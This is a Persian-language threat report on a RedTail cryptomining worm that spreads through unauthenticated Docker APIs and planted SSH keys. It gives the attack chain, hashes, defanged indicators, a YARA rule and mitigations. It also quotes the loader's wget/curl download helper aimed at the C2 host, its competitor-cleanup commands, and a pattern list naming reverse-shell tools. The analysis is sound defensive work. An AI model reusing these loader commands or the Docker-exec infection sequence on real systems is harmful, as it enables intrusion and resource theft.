malware · cryptomining · redtail · docker · linux · honeypot · worm

درون یک کارزار RedTail: خودانتشاری از طریق Docker APIهای افشاشده

هانی‌پات‌های Kinryū Labs ماینر RedTail را در حال انتشار از طریق Docker Engine APIهای بدون احراز هویت و کلیدهای SSH رهاشده به دام انداختند. این نوشته یک نمونهٔ کنونی و کاملاً ضبط‌شده را مستند می‌کند، همراه با بارگذار، اسکریپت حذف رقیب، ماینر، و نشانگرهای زنده.

نوشتهٔ Davis Zheng·

TLP:CLEAR. برای انتشار عمومی تأیید شد. از شبکهٔ حسگرهای هانی‌پات Kinryū Labs به دست آمد. هر نشانگر اینجا دفاعی است. کلید خصوصی مهاجم را ضبط کردیم و آن را منتشر نمی‌کنیم. اینجا فقط اثرانگشت عمومی می‌آید. نشانی‌های IP و دامنه‌های مهاجم خنثی‌شده‌اند (defanged).

خلاصهٔ مدیریتی

  • 2375Docker API افشاشده، راه ورود
  • 4معماری CPU هدف‌گرفته‌شده
  • ~21ثنفوذ کامل ثبت‌شده روی هانی‌پات ما
  • قابل‌انتشارکلاینت SSH تعبیه‌شده در ماینر

در اوایل تا اواسط ژوئن 2026 شبکهٔ هانی‌پات ما کرمی را به دام انداخت که از طریق Docker Engine APIهای افشاشده به اینترنت روی TCP/2375 منتشر می‌شود و RedTail را می‌اندازد، یک ماینر مونروی مبتنی بر XMRig که از اواخر 2023 وجود دارد. عامل، کانتینرهای در حال اجرا را از طریق Docker API باز برمی‌شمارد، درون هر یک فرمان اجرا می‌کند، یک کلید خصوصی SSH برای پایداری و حرکت جانبی می‌اندازد، سپس یک بارگذار چندمعماری می‌کشد. بارگذار ماینری را نصب می‌کند که کلاینت SSH خود را برای انتشار و یک شنودگر libpcap برای یافتن هدف‌های تازه حمل می‌کند.

محموله بی‌تردید RedTail است. RedTail بیش از همه به خاطر رسیدن از طریق اکسپلویت‌های برنامه‌های وب (PAN-OS، Ivanti، Log4Shell، PHP-CGI، TP-Link) شناخته می‌شود، و استفادهٔ آن از Docker APIهای افشاشده نیز گزارش پیشین دارد. این نوشته یک نمونهٔ کنونی و کاملاً ضبط‌شده از همان تحویل از طریق Docker API را می‌افزاید: C2 و نشانگرهای زنده، انداختن کلید SSH که به میزبان اجازهٔ خودتکثیری می‌دهد، و اسکریپت حذف رقیب که نوشته‌های پیشین به آن اشاره کرده بودند بی‌آنکه بازیابی‌اش کنند. منطق خودتکثیری را درون‌سازمانی با نام docker.selfrep ردیابی می‌کنیم.

ماینر یک پیکربندی زمان‌اجرای رمزگذاری‌شده حمل می‌کند و کیف‌پول تعبیه‌شده ندارد، پس نمی‌توانیم نشانی مونرو را از نمونه بیرون بکشیم. بازیابی آن نیازمند یک انفجار زنده با ضبط شبکه است.

داوری‌های کلیدی

  • محموله RedTail است (اطمینان بالا). رشتهٔ libredtail evbuffer_tls، آرتیفکت .redtail، بازگشت redtail در بارگذار، و ساختِ پیکربندی-رمزگذاری‌شده / بدون-کیف‌پول، همگی با نسخه‌های پس از 2024 این خانواده هم‌خوان‌اند.
  • کارزار قابل‌انتشار همچون کرم است (اطمینان بالا). ابزارهای Docker API، کلید رهاشده، و کلاینت SSH تعبیه‌شدهٔ ماینر، هر آن چیزی‌اند که میزبان تازه‌آلوده برای رفتن و یافتن قربانی بعدی به‌تنهایی نیاز دارد.
  • گرداننده دنبال پول است (اطمینان متوسط). سرقت اعتبارنامه و شنود چنان به نظر می‌رسند که به انتشار خدمت می‌کنند تا یک هدف جداگانهٔ سرقت داده.
  • بردار Docker API برای RedTail گزارش پیشین دارد و هنوز خوب کار می‌کند. یک سوکت افشاشدهٔ یگانه روی TCP/2375 به عامل اجرای کد به‌عنوان root درون هر کانتینر روی میزبان می‌دهد.

زنجیرهٔ حمله

[0] Reconnaissance     Internet scan for exposed Docker API :2375

[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)

[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)

[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)

[4] Ingress (Stage 2)  Pull loader:  scp [email protected][.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)

[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal

[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2

[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)

[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

مرحلهٔ 1: دسترسی اولیه از طریق Docker API

عامل به دنبال نمونه‌های Docker Engine می‌رود که REST API را بدون احراز هویت روی TCP/2375 افشا می‌کنند. هانی‌پات Docker API ما یک موتور واقعی را شبیه‌سازی می‌کند، و کل توالی را در حدود 21 ثانیه ثبت کرد:

  1. GET /version و GET /containers/json برای اثرانگشت‌گیری از موتور و فهرست کردن کانتینرها.
  2. POST /containers/{id}/exec سپس POST /exec/{id}/start در برابر هر کانتینر در حال اجرا.
  3. یک محمولهٔ پوسته درون-کانتینری که کلید SSH مهاجم را می‌نویسد و بارگذار را می‌کشد.

همان گام آخر است که این را از یک ماینر یک‌باره به یک کرم بدل می‌کند. میزبانی که آلوده می‌شود و اتفاقاً Docker API خود را افشا می‌کند، همان روال فهرست‌کردن-و-اجرا را در برابر دستهٔ بعدی قربانیان اجرا خواهد کرد. آن منطق را docker.selfrep می‌نامیم.

کلید SSH رهاشده (پایداری و حرکت جانبی)

ویژگیمقدار
نوعکلید خصوصی OpenSSH ed25519
توضیحdlr@sftp
اثرانگشت SHA256 کلید عمومیSHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
منبع کشیدن (کانال SCP)[email protected][.]113

کلید خصوصی را منتشر نمی‌کنیم. از اثرانگشت بالا برای شکار آن استفاده کنید: authorized_keys و ~/.ssh را در سراسر ناوگان خود بررسی کنید.

مرحلهٔ 2: بارگذار /sh

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 نوع: اسکریپت پوستهٔ POSIX

یک بارگذار کوچک، قابل‌حمل، و محتاط.

نام فایل تصادفی پنهان. get_random_string() نامی الفبایی-عددی به طول 4 تا 35 نویسه را سر هم می‌کند، /dev/urandom را می‌آزماید، سپس openssl، سپس $RANDOM، و اگر همه شکست بخورند به رشتهٔ تحت‌اللفظی redtail بازمی‌گردد. آن بازگشت یک نشانهٔ خانوادگی سودمند است. ماینر با نام .<random> با یک نقطهٔ پیشرو فرود می‌آید تا از یک ls ساده بیرون بماند. VirusTotal این نمونه را زیر یکی از همان نام‌ها دارد، .mn6VTucEsFZY1PdSC2QAq.

یاور دانلود. dlr() راستی‌آزمایی TLS را خاموش می‌کند، چون C2 خودامضاست، و از wget به curl بازمی‌گردد:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

صحنه‌چینی (staging) آگاه از noexec. بارگذار /proc/mounts را می‌خواند، هر اتصال noexec را دور می‌اندازد، و find / -user $(whoami) -perm -u=rwx را اجرا می‌کند تا جایی بیابد که هم بتواند بنویسد و هم اجرا کند. هر نامزد را پیش از استفاده با یک dd یا truncate به اندازهٔ 2 مگابایت برای نوشتن می‌آزماید. بیشتر بارگذارها فقط در /tmp می‌نویسند و رد می‌شوند. این یکی زحمت می‌کشد تا جایی فرود آید که می‌داند می‌تواند اجرا کند.

پاک‌سازی رقیب. clean را می‌کشد و اجرا می‌کند (dlr clean; chmod +x clean; sh clean; rm -rf clean)، سپس حذفش می‌کند. آن اسکریپت را هم گرفتیم و در پایین می‌شکافیم. به دنبال پایداری و صحنه‌چینی رقبا می‌رود، و فرایندهای در حال اجرا را به حال خود می‌گذارد.

مرتب‌سازی. پیش از نصب نسخهٔ جدید، .redtail و فایل .<random> پیشین را حذف می‌کند.

انتخاب معماری. یک سوییچ uname -mp ساخت را برمی‌گزیند:

تطبیق ARCHدانلود می‌کند
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
ناشناختههر چهار را با زور می‌آزماید، هر یک را اجرا می‌کند

اجرا. ./.<random> $1، که $1 اصلی بارگذار را همراه می‌فرستد، که RedTail آن را به‌عنوان برچسب کارزار یا بردار تلقی می‌کند.

اسکریپت حذف رقیب clean

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 نوع: اسکریپت Bash (795 بایت)

clean را در یک ضربهٔ بعدی روی هانی‌پات‌ها گرفتیم. فرایندهای در حال اجرا را به حال خود می‌گذارد. تمام کارش پاک کردن بدافزارهای دیگر از ماشین است تا RedTail آن را برای خود داشته باشد:

  • پاک‌سازی cron. برای هر crontab کاربر (/var/spool/cron/crontabs/*)، crontab سیستم (/etc/crontab، /etc/crontabs)، دایرکتوری drop-in (/etc/cron.{hourly,daily,weekly,monthly,d})، و /etc/anacrontab، بیت تغییرناپذیری را با chattr -ia برمی‌دارد (بدافزار رقیب آن را برای محافظت از خطوط cron خود تنظیم می‌کند) و سپس هر خطی را که با الگوی آلودگی-مجدد تطبیق کند حذف می‌کند:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    این گهواره‌های دانلود و پوسته‌های معکوس تیم‌های دیگر را بیرون می‌کشد و رکوردهای cron مشروع را به حال خود می‌گذارد.

  • کشتن یک رقیب نام‌دار. سرویس systemd به نام c3pool_miner را غیرفعال و متوقف می‌کند، شلیکی مستقیم به ماینر c3pool.

  • پاک کردن صحنه‌چینی. /tmp، /var/tmp و /dev/shm را با rm -rf خالی می‌کند، و محموله‌های رقبا و فضای کار مشترکشان را پاک می‌کند.

ضربه زدن به پایداری و صحنه‌چینی، حرکت آرام‌تر است. از یک راه‌اندازی مجدد جان به در می‌برد، که در آن رکوردهای cron باقی‌مانده وگرنه میزبان را دوباره آلوده می‌کردند، و از سروصدای کشتن انبوه فرایندها پرهیز می‌کند.

مرحلهٔ 3: ماینر RedTail (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b اندازه: 1,880,264 بایت (1.79 مگابایت) قالب: ELF 64-bit LSB EXEC (پیوندخوردهٔ ایستا، non-PIE)، x86-64، نقطهٔ ورود 0xaa9e18 بسته‌بند: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 مخرب، امتیاز جامعه −60، نخستین مشاهده ~2026-06-05 برچسب‌های تهدید: trojan.usblem26/abminer؛ خانواده‌های usblem26 / abminer / gen3

بسته‌بندی و ضدتحلیل

  • UPX 5.02 با هدر سالم. upx -d آن را پاکیزه به یک ELF پیوندخوردهٔ ایستا حدود 5 مگابایت بازمی‌گشاید.
  • اجرای بدون-فایل. بینش‌های کد VirusTotal نشان می‌دهند که از memfd_create (syscall 0x13f) برای اجرای محموله مستقیماً از یک توصیف‌گر فایلِ حافظهٔ ناشناس استفاده می‌کند، همراه با اجرای مجدد از طریق /proc/self/exe و صحنه‌چینی در /dev/shm. هیچ‌چیز به دیسک نمی‌رسد، پس آنتی‌ویروس مبتنی بر دیسک هرگز فرصت نگاه کردن نمی‌یابد.
  • جعل نام فرایند (sets-process-name) تا با فرایندهای عادی درآمیزد.
  • گریز از اشکال‌زدا (detect-debug-environment). نوشته‌های عمومی RedTail اشکال‌زدایی-خودیِ ptrace و کشتن فعال GDB توسط باینری را توصیف می‌کنند.
  • یادداشتی دربارهٔ آنتی‌ویروس میزبان. Microsoft Defender ‏ELF بسته‌بندی‌شده را به‌عنوان Trojan:Linux/Multiverze!rfn علامت می‌زند و خواندنش را از دیسک مسدود می‌کند، پس تریاژ ایستا باید در یک ماشین جدا یا در حافظه رخ دهد.

مؤلفه‌های تأییدشده (از رشته‌های .rodata پس از بازگشایی)

هستهٔ ماینینگ XMRig

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail، پشتهٔ شبکه که خانواده را تعریف می‌کند

libredtail evbuffer_tls
Connection  keepalive  User-Agent

یک libevent سفارشی به‌علاوهٔ یک کلاینت HTTP روی TLS. رشتهٔ libredtail evbuffer_tls همان چیزی است که RedTail را از یک ساخت استاندارد XMRig جدا می‌کند.

کلاینت SSH تعبیه‌شده (حرکت جانبی و سرقت اعتبارنامه)

ssh-userauth   ssh-ed25519   [email protected]
[email protected]   [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

ماینر یک کلاینت SSH کامل حمل می‌کند. این همان موتور پشت انداختن کلید dlr@sftp و انتشار است. باینری ماینر سرقت اعتبارنامهٔ خود و انتشار SSH را خودش انجام می‌دهد. هیچ‌کدام در دراپر زندگی نمی‌کند.

libpcap تعبیه‌شده (شنود شبکه)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

ضبط بسته روی میزبان، که با کشف محلی میزبان‌ها و اعتبارنامه‌ها هم‌خوان است.

جدول‌های کدگذاری. هم الفبای Base64 استاندارد و هم نسخهٔ امن-برای-URL ظاهر می‌شوند (...+/ و ...-_)، که روال رمزگشایی پیکربندی از آن‌ها استفاده می‌کند.

پیکربندی و شکاف انتساب

در باینری بازگشایی‌شده سخت به دنبال نشانی‌های IP، URLها، stratum، pool، و الگوهای نشانی مونرو گشتیم. تنها استخرهای آنجا استخرهای کمک-به-توسعه‌دهندهٔ درون‌ساختهٔ XMRig هستند (donate.ssl.xmrig.com، donate.v2.xmrig.com)، که هر ساخت XMRig حملشان می‌کند و گرداننده کنترلشان نمی‌کند. هیچ استخر، پراکسی، یا کیف‌پول مهاجمی به‌صورت متن آشکار نیست.

این عمدی است، و با جایی که RedTail از 2024 رفته هم‌خوان است. پیکربندی ماینینگ رمزگذاری‌شده است و فقط در حافظه در زمان اجرا رمزگشایی می‌شود، و ساخت‌های اخیر اصلاً کیف‌پول حمل نمی‌کنند، و در عوض به یک استخر خصوصی یا پراکسی-استخر اشاره دارند. پس:

  • نمی‌توانیم کیف‌پول مونرو را از این نمونه بیرون بکشیم.
  • پراکسی-استخر فقط از یک انفجار زنده با یک گیرندهٔ شبکه بیرون می‌آید (روش‌شناسی را ببینید).

انتساب

این RedTail است، که با نام ماینر .redtail نیز شناخته می‌شود، یک ماینر مونروی مشتق‌شده از XMRig که نخستین بار حدود اواخر 2023 و اوایل 2024 درباره‌اش نوشته شد. آنچه هم‌خوان است:

  • رشتهٔ libredtail evbuffer_tls، که برایش یگانه است.
  • آرتیفکت .redtail و بازگشت redtail در بارگذار.
  • ساختِ پیکربندی-رمزگذاری‌شده / بدون-کیف‌پول، بارگذار چندمعماری، اسکریپت رقیب clean، و سرقت اعتبارنامهٔ SSH، که همگی صفات شناخته‌شدهٔ RedTail‌اند.

برای مقایسه، بردارهای تحویلِ ازپیش‌ثبت‌شده برای این خانواده CVE-2024-3400 (PAN-OS)، CVE-2023-46805 و CVE-2024-21887 (Ivanti)، CVE-2021-44228 (Log4Shell)، CVE-2024-4577 (PHP-CGI)، و CVE-2023-1389 (TP-Link) هستند. VirusTotal این نمونه را همچنین با CVE-2021-41773 (پیمایش مسیر تا RCE در Apache 2.4.49/2.4.50) و CVE-2015-2808 (RC4، “Bar Mitzvah”) برچسب می‌زند.

استفادهٔ RedTail از Docker APIهای افشاشده گزارش پیشین دارد، پس خودِ بردار کهنه است. این گزارش یک ضبط کنونی از آن را می‌افزاید: C2 زنده و درهم‌های محموله، اسکریپت clean بازیابی‌شده، و جزئیات خودتکثیری از طریق کلید رهاشده.

چشم‌انداز

تیم‌های ماینینگ بدافزاری شیوهٔ نفوذشان را بسیار بیشتر از محموله تغییر می‌دهند، و بارگذار ماژولار RedTail جابه‌جایی یک روش ورود با دیگری را آسان می‌کند. سوکت‌های Docker افشاشده درست در همان میدان‌اند. بخش بزرگی از فعالیت فرصت‌طلبانهٔ Linux به سمت بدپیکربندی‌های ابری-بومی رانده شده، و یک Docker API باز به مهاجم درون هر کانتینر روی ماشین root می‌دهد. RedTail پیش‌تر اینجا بوده، و عرضهٔ پیوستهٔ پورت‌های 2375 افشاشده به اینترنت آن را به‌صرفه نگه می‌دارد.

به نظرمان محتمل است که گرداننده بردار Docker API را در کنار اکسپلویت‌های وب نگه دارد تا اینکه یکی را با دیگری عوض کند، که صرفاً میزبان‌های در دسترس بیشتری به او می‌دهد. اگر کانتینر اجرا می‌کنید، با یک Docker API افشاشده چنان رفتار کنید که گویی روی اینترنت عمومی نشسته، چون در عمل همان است.

نشانگرهای نفوذ

شبکه

نشانگرزمینه
14.46.136[.]77C2 / میزبان محموله (HTTPS، خودامضا). /sh، /clean، /x86_64، /i686، /aarch64، /arm7 را عرضه می‌کند. خروج ابر را بر اساس ASN فیلتر می‌کند.
hxxps://14.46.136[.]77/shURL بارگذار مرحلهٔ 2
hxxps://14.46.136[.]77/cleanاسکریپت حذف رقیب (پاک‌سازی cron / صحنه‌چینی)
217.60.195[.]113منبع کلید / محموله از طریق SCP ([email protected][.]113)

فایل‌ها (SHA256 / MD5)

فایلSHA256MD5
sh (بارگذار)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean (پاک‌سازی رقیب)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (ماینر)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

آثار روی میزبان

نشانگرزمینه
.redtailآرتیفکت ماینر / نشانهٔ آلودگی پیشین
.<random alnum>، مثلاً .mn6VTucEsFZY1PdSC2QAqنام فایل پنهان ماینر (نقطهٔ پیشرو + تصادفی)
توضیح کلید SSH dlr@sftpکلید رهاشده
اثرانگشت pubkey SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vgاثرانگشت کلید رهاشده؛ در authorized_keys شکار کنید
فایل‌های صحنه‌چینی‌شده در /dev/shm، /var/tmp، /tmp، یا هر دایرکتوری rwx قابل‌نوشتن توسط کاربرمحل‌های صحنه‌چینی

رفتاری

  • memfd_create (syscall 0x13f) که یک ELF را از یک توصیف‌گر فایل ناشناس اجرا می‌کند.
  • فرایندی که /proc/mounts را می‌خواند و سپس find / -perm -u=rwx را اجرا می‌کند (صحنه‌چینی آگاه از noexec).
  • جعل نام فرایند؛ گریز از اشکال‌زدای مبتنی بر ptrace.
  • stratum+tcp:// / stratum+ssl:// خروجی به یک میزبان غیراستاندارد.
  • systemctl disable c3pool_miner و systemctl stop c3pool_miner (بیرون راندن رقیب).
  • chattr -ia در برابر مسیرهای crontab و بلافاصله پس از آن حذف انبوه خطوط wget / curl / پوستهٔ معکوس از cron.
  • rm -rf از /tmp/*، /var/tmp/*، و /dev/shm/* (پاک کردن صحنه‌چینی رقیب).

شناسایی

شناسایی روی میزبان (منطق فرایند / EDR)

به فرایندی هشدار دهید که، به‌ترتیب:

  1. /proc/mounts را می‌خواند، سپس find / ... -perm -u=rwx ... را اجرا می‌کند، و
  2. فایلی با نام تصادفی و نقطهٔ پیشرو در یک دایرکتوری قابل‌نوشتن برای همه می‌نویسد، و
  3. memfd_create را فرا می‌خواند و سپس از توصیف‌گر فایل حاصل اجرا می‌کند.

هر یک از این‌ها به‌تنهایی ضعیف است. هر سه با هم نشانه‌ای قوی برای این بارگذارند.

قاعدهٔ YARA نامزد (باینری بازگشایی‌شده)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "[email protected]" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

این قاعده با باینری بازگشایی‌شده با UPX تطبیق می‌کند. برای نمونهٔ بسته‌بندی‌شده، به امضای UPX، اندازهٔ فایل (~1.79 مگابایت)، و درهم‌های VirusTotal بالا تکیه کنید.

شناسایی شبکه

  • ترافیک خروجی به 14.46.136[.]77 و 217.60.195[.]113 را مسدود کنید و هشدار دهید.
  • به stratum+tcp / stratum+ssl به هر مقصد خارج از فهرست مجاز هشدار دهید.
  • به درخواست‌های GET از طریق HTTP(S) برای مسیرهای تک‌حرفی یا با نام معماری (/sh، /x86_64، /aarch64، /arm7) هشدار دهید.

کاهش مخاطره

  1. Docker API (2375/2376) را به شبکه‌های نامعتمد افشا نکنید. آن را به localhost یا یک سوکت محافظت‌شده مقید کنید و احراز هویت با گواهی کلاینت TLS بخواهید. همان یک کنترل، گام دسترسی اولیه را از ریشه می‌شکند.
  2. ~/.ssh/authorized_keys را در سراسر ناوگان برای کلید dlr@sftp و اثرانگشتش بازرسی کنید.
  3. خروج را فیلتر و ترافیک stratum و نشانی‌های C2 بالا را پایش کنید.
  4. /tmp، /var/tmp، و /dev/shm را هرجا می‌توانید با noexec مونت کنید. این سطح را بالا می‌برد، هرچند این بارگذار آگاه از noexec است و به دنبال دایرکتوری قابل‌نوشتن و قابل‌اجرای دیگری خواهد رفت.
  5. کانتینرها را سخت‌سازی کنید: قابلیت‌هایی (capabilities) را که نیاز ندارید رها کنید، از سیستم‌فایل‌های ریشهٔ فقط-خواندنی استفاده کنید، و با کمترین امتیاز اجرا کنید تا یک exec-به-درون به مهاجم محیط اجرای قابل‌استفاده ندهد.

نگاشت MITRE ATT&CK

تاکتیکتکنیک
Initial AccessT1190 Exploit Public-Facing Application (Docker API)
ExecutionT1609 Container Administration Command; T1059.004 Unix Shell
PersistenceT1098.004 SSH Authorized Keys
Defense EvasionT1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion
Credential AccessT1552.004 Private Keys; T1040 Network Sniffing
DiscoveryT1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery
Lateral MovementT1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Command and ControlT1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer
ImpactT1496 Resource Hijacking (cryptomining)

روش‌شناسی و یادداشت‌های تحلیلگر

  • مرحله‌های 2 و 3 را از C2 زنده از طریق HTTPS کشیدیم. 14.46.136[.]77 برای IPهای ابری مهلت زمانی می‌دهد (از AWS/EC2 آزمودیم) اما به IPهای خانگی و معمولی به‌خوبی عرضه می‌کند، که یک فیلتر خروجِ مبتنی بر ASN یا جغرافیاست که جعبه‌شن‌های ابری خودکار را می‌شکند.
  • ‏ELF بسته‌بندی‌شده Microsoft Defender را (Trojan:Linux/Multiverze!rfn) فعال می‌کند و روی یک میزبان Windows محافظت‌شده حتی از دیسک خوانده نمی‌شود، پس نخستین تریاژ در حافظه رخ داد، با بازگشایی آرشیو درون یک فرایند Python بی‌آنکه ELF خام هرگز بیرون نوشته شود.
  • بازگشایی با upx -d در یک FLARE-VM جدا انجام شد. باینری بازگشایی‌شده را به‌صورت ایستا، با رشته‌ها و ساختار، بی‌آنکه اجرایش کنیم تحلیل کردیم.
  • ماینر را اجرا نکردیم، پس پراکسی-استخر و پیکربندی مونروی رمزگشایی‌شده در زمان اجرا در این گزارش نیستند.

پیگیری توصیه‌شده (برای به‌دست آوردن نشانگر pool-proxy)

برای به‌دست آوردن پراکسی-استخر، باینری بازگشایی‌شده را روی یک ماشین Linux جدا (REMnux کار می‌کند) منفجر کنید با:

  • یک گیرندهٔ شبکه (INetSim، یا fakedns به‌علاوهٔ یک گیرندهٔ همه‌جانبهٔ TCP) برای بیرون کشیدن اتصال،
  • tcpdump -i any -w redtail.pcap برای گرفتن CONNECT و ورود stratum، و
  • strace -f برای گرفتن پیکربندیِ متن‌آشکاری که ماینر درست پیش از نخستین connect() خود رمزگشایی می‌کند، که اغلب حتی وقتی TLS آن را روی سیم پنهان می‌کند خواندنی است.

آن میزبان و پورت آخرین نشانگری‌اند که هنوز برای این کارزار معلق مانده.

نمونه‌ها

نمونه‌ها (بارگذار، اسکریپت clean، و ماینر بسته‌بندی‌شده) به‌درخواست در اختیار دیگر پژوهشگران و مدافعان قرار می‌گیرند. به [email protected] با یادداشتی کوتاه دربارهٔ اینکه که هستید و چرا به آن‌ها نیاز دارید ایمیل بزنید.

How to cite
Kinryū Labs (2026). درون یک کارزار RedTail: خودانتشاری از طریق Docker APIهای افشاشده. https://kinryu.sh/fa/reports/redtail-cryptominer-exposed-docker-api/